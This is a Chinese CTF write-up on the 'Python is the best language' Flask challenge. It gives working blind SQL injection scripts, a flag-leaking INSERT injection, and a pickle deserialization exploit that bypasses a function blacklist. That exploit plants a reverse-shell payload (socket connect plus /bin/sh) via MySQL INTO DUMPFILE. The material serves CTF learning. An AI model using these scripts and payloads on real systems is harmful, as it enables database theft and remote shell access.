kir[A]'s 小黑屋

Python-is-the-best-language

字数统计: 2.9k阅读时长: 15 min
2018/04/16 Share

本文纯属抄袭,如有改动,纯属手残。

原writeup见:

http://skysec.top/2018/04/01/Python-is-the-best-language/#%E6%BA%90%E7%A0%81%E7%BB%93%E6%9E%84

https://xz.aliyun.com/t/2219#toc-1

https://lorexxar.cn/2018/03/26/qwb2018/#python-is-best-language

环境搭建

1
2
3
4
5
6
7
8
pip install Flask
pip install flask_login
pip install flask_bootstrap
pip install flask_moment
pip install sqlalchemy
sudo apt-get install libmysqlclient-dev
pip install flask_wtf
pip install MySQL-python

创建数据库

1
CREATE DATABASE `flask` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;

修改config.py中数据库账号密码,然后运行python db_create.py

1
SQLALCHEMY_DATABASE_URI = "mysql://root:密码@127.0.0.1/flask?charset=utf8"

修改run.py后运行python run.py

1
2
3
from app import app
if __name__ == "__main__":
app.run(host='0.0.0.0',port=30003)

Python is the best language1

第一题是sql注入,重点关注以下文件

1
2
3
4
forms.py 用于表单登录,注册等
models.py 放置操作数据库的代码
others.py mysql操作语句等函数
routes.py 路由文件

注入点一

看看routes.py中注册代码

1
2
3
4
5
6
7
8
9
10
11
12
@app.route('/register', methods=['GET', 'POST'])
def register():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = RegistrationForm()
if form.validate_on_submit():
res = mysql.Add("user", ["NULL", "'%s'" % form.username.data, "'%s'" % form.email.data,
"'%s'" % generate_password_hash(form.password.data), "''", "'%s'" % now()])
if res == 1:
flash('Congratulations, you are now a registered user!')
return redirect(url_for('login'))
return render_template('register.html', title='Register', form=form)

forms.py中注册的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class RegistrationForm(FlaskForm):
username = StringField('Username', validators=[DataRequired()])
email = StringField('Email', validators=[DataRequired(), Email()])
password = PasswordField('Password', validators=[DataRequired()])
password2 = PasswordField(
'Repeat Password', validators=[DataRequired(), EqualTo('password')])
submit = SubmitField('Register')

def validate_username(self, username):
if re.match("^[a-zA-Z0-9_]+$", username.data) == None:
raise ValidationError('username has invalid charactor!')
user = mysql.One("user", {"username": "'%s'" % username.data}, ["id"])
if user != 0:
raise ValidationError('Please use a different username.')

def validate_email(self, email):
user = mysql.One("user", {"email": "'%s'" % email.data}, ["id"])
if user != 0:
raise ValidationError('Please use a different email address.')

validate_username在进行mysql.One前进行了正则匹配的过滤和审核,而validate_email仅仅通过validators=[DataRequired(), Email()]来匹配。

Email()的关键源码如下:

1
super(Email, self).__init__(r'^.+@([^.@][^@]+)$', re.IGNORECASE, message)

其正则规则为^.+@([^.@][^@]+)$,也就是说对email而言,即使提交如'"#a@qq.com包含单引号,双引号,注释符等敏感字符的形式也是能通过的。

转到others.pymysql.One()

1
2
3
4
5
6
7
8
9
def One(self, tablename, where={}, feildname=["*"], order="", where_symbols="=", l="and"):
sql = self.Sel(tablename, where, feildname, order, where_symbols, l)
try:
res = self.db_session.execute(sql).fetchone()
if res == None:
return 0
return res
except:
return -1

跟入Sel()

1
2
3
4
5
6
7
8
9
10
def Sel(self, tablename, where={}, feildname=["*"], order="", where_symbols="=", l="and"):
sql = "select "
sql += "".join(i + "," for i in feildname)[:-1] + " "
sql += "from " + tablename + " "
if where != {}:
sql += "where " + "".join(i + " " + where_symbols + " " +
str(where[i]) + " " + l + " " for i in where)[:-4]
if order != "":
sql += "order by " + "".join(i + "," for i in order)[:-1]
return sql

最后拼接出来的sql语句如下:

1
select id from user where email = 'your input email'

重新看一下validate_email

1
2
3
4
def validate_email(self, email):
user = mysql.One("user", {"email": "'%s'" % email.data}, ["id"])
if user != 0:
raise ValidationError('Please use a different email address.')

数据库语言返回成功,会提示Please use a different email address.

1
kira'/**/or/**/1=1#@qq.com

提示:Please use a different email address.

1
kira'/**/or/**/1=0#@qq.com

什么都没返回

布尔注入脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
from bs4 import BeautifulSoup

url = "http://127.0.0.1:30003/register"

r = requests.get(url)
soup = BeautifulSoup(r.text,"html5lib")
token = soup.find_all(id='csrf_token')[0].get("value")

result = ""

database = "(SELECT/**/GROUP_CONCAT(schema_name)/**/FROM/**/INFORMATION_SCHEMA.SCHEMATA)"
tables = "(SELECT/**/GROUP_CONCAT(table_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA=DATABASE())"
columns = "(SELECT/**/GROUP_CONCAT(column_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME=0x666c616161616167)"
flag = "(SELECT/**/GROUP_CONCAT(flllllag/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/flaaaaag)"

for i in range(1,100):
for j in range(32,127):
payload = "test'/**/or/**/ascii(substr("+ flag +",%d,1))=%d#@qq.com" % (i,j)
print payload
post_data = {
'csrf_token': token,
'username': 'a',
'email':payload,
'password':'a',
'password2':'a',
'submit':'Register'
}
r = requests.post(url,data=post_data)
soup = BeautifulSoup(r.text,"html5lib")
token = soup.find_all(id='csrf_token')[0].get("value")
if "Please use a different email address." in r.text:
result += chr(j)
print result
break

注入点二

看看routes.py中修改profile代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route('/edit_profile', methods=['GET', 'POST'])
@login_required
def edit_profile():
form = EditProfileForm(current_user.username)
if form.validate_on_submit():
current_user.username = form.username.data
current_user.note = form.note.data
res = mysql.Mod("user", {"id": current_user.id}, {
"username": "'%s'" % current_user.username, "note": "'%s'" % current_user.note})
if res != 0:
flash('Your changes have been saved.')
return redirect(url_for('edit_profile'))
elif request.method == 'GET':
form.username.data = current_user.username
form.note.data = current_user.note
return render_template('edit_profile.html', title='Edit Profile',
form=form)

forms.py中修改profile的部分

1
2
3
def validate_note(self, note):
if re.match("^[a-zA-Z0-9_\'\(\) \.\_\*\`\-\@\=\+\>\<]*$", note.data) == None:
raise ValidationError("Don't input invalid charactors!")

validate_note大部分敏感字符都没过滤

跟进Mod函数

1
2
3
4
5
6
7
8
9
10
11
12
def Mod(self, tablemame, where, values):
sql = "update " + tablemame + " "
sql += "set " + \
"".join(i + "=" + str(values[i]) + "," for i in values)[:-1] + " "
sql += "where " + \
"".join(i + "=" + str(where[i]) + " and " for i in where)[:-4]
try:
self.db_session.execute(sql)
self.db_session.commit()
return 1
except:
return 0

最后拼接出来的sql语句如下:

1
update user set username='kira',note='your input note' where id=1

测试如下:

1
123' and (select flllllag like binary 0x3125 from flaaaaag)  and '1'='1

About me那里显示0

1
123' and (select flllllag like binary 0x5125 from flaaaaag)  and '1'='1

About me那里显示1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import re
import requests
import string
cookies = {"session":"ca823fed-c8b9-450c-8ec9-fc7626ce8326"}
url = "http://127.0.0.1:30003/edit_profile"
r = requests.get(url=url,cookies=cookies)
csrf_token_re = r'<input id="csrf_token" name="csrf_token" type="hidden" value="(.*?)">'
csrf_token = re.findall(csrf_token_re, r.content)[0]
note_re = r'<input class="form-control" id="note" name="note" type="text" value="(\d)">'

flag = ""
for i in range(1,1000):
for j in "0123456789"+string.letters+"!@#$^&*(){}=+`~_":
data = {
"csrf_token": csrf_token,
"username": "kira",
"note": "123' and (select flllllag like binary 0x{}25 from flaaaaag) and '1'='1".format((flag+j).encode('hex')),
"submit": "Submit"
}
r =requests.post(url=url,data=data,cookies=cookies,timeout=2.5)
note_info = re.findall(note_re, r.content)[0]
if note_info == '1':
flag += j
print flag
break

注入点三

看看routes.py中post内容的部分

1
2
3
4
5
6
7
8
9
10
11
@app.route('/', methods=['GET', 'POST'])
@app.route('/index', methods=['GET', 'POST'])
@login_required
def index():
form = PostForm()
if form.validate_on_submit():
res = mysql.Add("post", ['NULL', "'%s'" % form.post.data,
"'%s'" % current_user.id, "'%s'" % now()])
if res == 1:
flash('Your post is now live!')
return redirect(url_for('index'))

forms.pyPostForm()的部分

1
2
3
class PostForm(FlaskForm):
post = StringField('Say something', validators=[DataRequired()])
submit = SubmitField('Submit')

啥过滤都没!

1
2
3
4
5
6
7
8
9
10
11
def Add(self, tablename, values):
sql = "insert into " + tablename + " "
sql += "values ("
sql += "".join(i + "," for i in values)[:-1]
sql += ")"
try:
self.db_session.execute(sql)
self.db_session.commit()
return 1
except:
return 0

最后拼接出来的sql语句如下:

1
insert into post values (NULL,'yout input','1','2018-04-15')

构造payload:

1
123','1','2018-04-15'),(NULL,(select flllllag from flaaaaag),'1','2018-04-15')#

flag出来了,问题是所有人都可以看到的,比赛中直接翻就能看到其他人注出来的flag,所以在注入时候需要加密一下。

这里可以使用mysql的ENCODE(string,pass),DECODE(string,pass)函数

1
2
3
4
5
6
7
8
9
10
11
12
13
mysql> select hex(encode((select flllllag from flaaaaag),'kirakira'));
+------------------------------------------------------------+
| hex(encode((select flllllag from flaaaaag),'kirakira')) |
+------------------------------------------------------------+
| 2240079E2A0C151347EF73F32460B6728EB6CDB1DBD8CE227801003C3F |
+------------------------------------------------------------+

mysql> select decode(unhex('2240079E2A0C151347EF73F32460B6728EB6CDB1DBD8CE227801003C3F'),'kirakira');
+----------------------------------------------------------------------------------------+
| decode(unhex('2240079E2A0C151347EF73F32460B6728EB6CDB1DBD8CE227801003C3F'),'kirakira') |
+----------------------------------------------------------------------------------------+
| QWB{us1ng_val1dator_caut1ous} |
+----------------------------------------------------------------------------------------+

Python is the best language2

接着下一题,在others.py里发现了奇怪的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pickle import Unpickler as Unpkler
from pickle import *

black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
spawnv, spawnve, spawnvp, spawnvpe, load, loads]


class FilterException(Exception):

def __init__(self, value):
super(FilterException, self).__init__(
'the callable object {value} is not allowed'.format(value=str(value)))


def _hook_call(func):
def wrapper(*args, **kwargs):
print args[0].stack
if args[0].stack[-2] in black_type_list:
raise FilterException(args[0].stack[-2])
return func(*args, **kwargs)
return wrapper


def load(file):
unpkler = Unpkler(file)
unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
return Unpkler(file).load()

def loads(str):
file = StringIO(str)
unpkler = Unpkler(file)
unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
return unpkler.load()

这里存在反序列化漏洞以及基本的沙箱逃逸问题。

pickle序列化

Python提供两个模块来实现序列化:cPicklepickle。这两个模块功能是一样的,区别在于cPickle是C语言写的,速度快,pickle是纯Python写的,速度慢。

pickle模块提供的相关函数

1
2
3
4
5
6
7
8
9
10
11
# 将指定的Python对象通过pickle序列化作为bytes对象返回,而不是将其写入文件
dumps(obj, protocol=None, *, fix_imports=True)

# 将通过pickle序列化后得到的字节对象进行反序列化,转换为Python对象并返回
loads(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict")

# 将指定的Python对象通过pickle序列化后写入打开的文件对象中,等价于`Pickler(file, protocol).dump(obj)`
dump(obj, file, protocol=None, *, fix_imports=True)

# 从打开的文件对象中读取pickled对象表现形式并返回通过pickle反序列化后得到的Python对象
load(file, *, fix_imports=True, encoding="ASCII", errors="strict")

说明: 上面这几个方法参数中,*号后面的参数都是Python 3.x新增的,目的是为了兼容Python 2.x,具体用法请参看官方文档。

基本使用方法:

1
2
3
4
5
6
7
import pickle

P = pickle.Pickler(file) #pickle.dump(object, file)
P.dump(object)

U = pickle.Unpickler(file) #pickle.load(file)
object = U.load()

pickle反序列化漏洞

python的反序列化漏洞关键在于reduce 魔术方法,在反序列化的时候会完全改变被序列化的对象。这个方法返回一个字符串或者元组来描述当反序列化的时候该如何重构,进而造成命令执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import os
import pickle

class test(object):
def __reduce__(self):
return (os.system,("id",))

t = test()

f1 = open('p_test','wb')
p = pickle.Pickler(f1)
p.dump(t) #p = pickle.dump(t, f1)
f1.close()

f2 = open('p_test','rb')
u = pickle.Unpickler(f2)
u.load() #u = pickle.load(f2)
f2.close()

运行效果:

1
2
3
# kira @ Ubuntu in ~/py_web [11:24:46]
$ python p_test.py
uid=1000(kira) gid=1000(kira) groups=1000(kira),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lxd),115(lpadmin),116(sambashare)

题目分析

现在重新看看load(file)loads(str)两个函数,是带有过滤的反序列化,一个用于操作文件,一个用于操作字符串。

搜索一下,看看代码里面哪里用到这个两个函数,发现在Mycache.py有这个类。

1
class FileSystemCache(BaseCache)

而用到这个类的代码都在Mysession.py这个类,都是对session操作

1
class FileSystemSessionInterface(SessionInterface)

重点留意下open_session()save_session(),这是反序列化常见套路。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def open_session(self, app, request):
sid = request.cookies.get(app.session_cookie_name)
if not sid:
sid = self._generate_sid()
return self.session_class(sid=sid, permanent=self.permanent)
if self.use_signer:
signer = self._get_signer(app)
if signer is None:
return None
try:
sid_as_bytes = signer.unsign(sid)
sid = sid_as_bytes.decode()
except BadSignature:
sid = self._generate_sid()
return self.session_class(sid=sid, permanent=self.permanent)
data = self.cache.get(self.key_prefix + sid)
if data is not None:
return self.session_class(data, sid=sid)
return self.session_class(sid=sid, permanent=self.permanent)

留意open_session()中调用了self.cache.get(self.key_prefix + sid),跟进之

1
2
3
4
5
6
7
8
9
10
11
12
13
def get(self, key): # key = self.key_prefix + sid
filename = self._get_filename(key)
try:
with open(filename, 'rb') as f:
pickle_time = load(f) #可能存在反序列化
if pickle_time == 0 or pickle_time >= time():
a = load(f) #可能存在反序列化
return a
else:
os.remove(filename)
return None
except (IOError, OSError, PickleError):
return None

get中两处地方出现load(),十分可疑。filename = self._get_filename(key)跟进之。

1
2
3
4
5
def _get_filename(self, key):
if isinstance(key, text_type):
key = key.encode('utf-8') # XXX unicode review
hash = md5(key).hexdigest()
return os.path.join(self._path, hash)

可见filename就是md5(self.key_prefix + sid),查看代码可发现:

1
2
key_prefix="bdwsessions"
sid = request.cookies.get(app.session_cookie_name)

查看页面的cookie:

1
2
sid = ca823fed-c8b9-450c-8ec9-fc7626ce8326
md5("bdwsessionsca823fed-c8b9-450c-8ec9-fc7626ce8326") = 7d6e204846c11a84ab0bc317eab14411

session存在目录在config.py中就记录,本地验证一下,果然存在。

1
2
3
# kira @ Ubuntu in ~ [14:24:00] C:1
$ ll /tmp/ffff |grep 7d6e204846c11a84ab0bc317eab14411
-rw-rw---- 1 kira kira 254 Apr 15 14:19 7d6e204846c11a84ab0bc317eab14411

攻击思路

  1. 本地生成序列化session文件
  2. 跟进session文件名规则计算出文件名
  3. 利用mysql的注入,将文件写入/tmp/ffff目录
  4. 访问index的时,修改自己的session为之前我们定义的值
  5. 触发open_session中的self.cache.get,进行反序列化攻击

源码还设置了沙箱/黑名单来防止某些函数的执行,首先需要绕过黑名单,观察一下,还有以下不在黑名单中:

1
2
3
subprocess.Popen
subprocess.call
commands

本地监听端口,测试反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import os
import pickle
import commands

class test(object):
def __reduce__(self):
return (commands.getoutput,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",9394));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))

t = test()

f1 = open('p_test','wb')
p = pickle.Pickler(f1)
p.dump(t) #p = pickle.dump(t, f1)
f1.close()

f2 = open('p_test','rb')
u = pickle.Unpickler(f2)
u.load() #u = pickle.load(f2)
f2.close()

为了后续注入,将session内容进行hex编码

1
2
f2 = open('p_test','rb')
print f2.read().encode('hex')

新的session文件随便修改一下之前的sid

1
md5("bdwsessionsca823fed-c8b9-450c-8ec9-fc7626ceffff") = d9e836cec5ab2c715fd4050fdc26bd4b

注入点就用上面提到Email的注入点,构造payload:

1
select id from user where email = '123'/**/union/**/select/**/0x63636f6d6d616e64730a6765746f75747075740a70300a285327707974686f6e202d63205c27696d706f727420736f636b65742c73756270726f636573732c6f733b733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d293b732e636f6e6e6563742828223132372e302e302e31222c3933393429293b6f732e6475703228732e66696c656e6f28292c30293b206f732e6475703228732e66696c656e6f28292c31293b206f732e6475703228732e66696c656e6f28292c32293b703d73756270726f636573732e63616c6c285b222f62696e2f7368222c222d69225d293b5c27270a70310a7470320a5270330a2e/**/into/**/dumpfile/**/'/tmp/ffff/d9e836cec5ab2c715fd4050fdc26bd4b'#@qq.com'

邮箱地址填入以上payload,点击submit后出现Please use a different email address.即可。

接着在burp中抓取访问index的包,并修改session为ca823fed-c8b9-450c-8ec9-fc7626ceffff,在自己的vps上监听对应的端口。

CATALOG
  1. 1. 环境搭建
  2. 2. Python is the best language1
    1. 2.1. 注入点一
    2. 2.2. 注入点二
    3. 2.3. 注入点三
  3. 3. Python is the best language2
    1. 3.1. pickle序列化
    2. 3.2. pickle反序列化漏洞
    3. 3.3. 题目分析
    4. 3.4. 攻击思路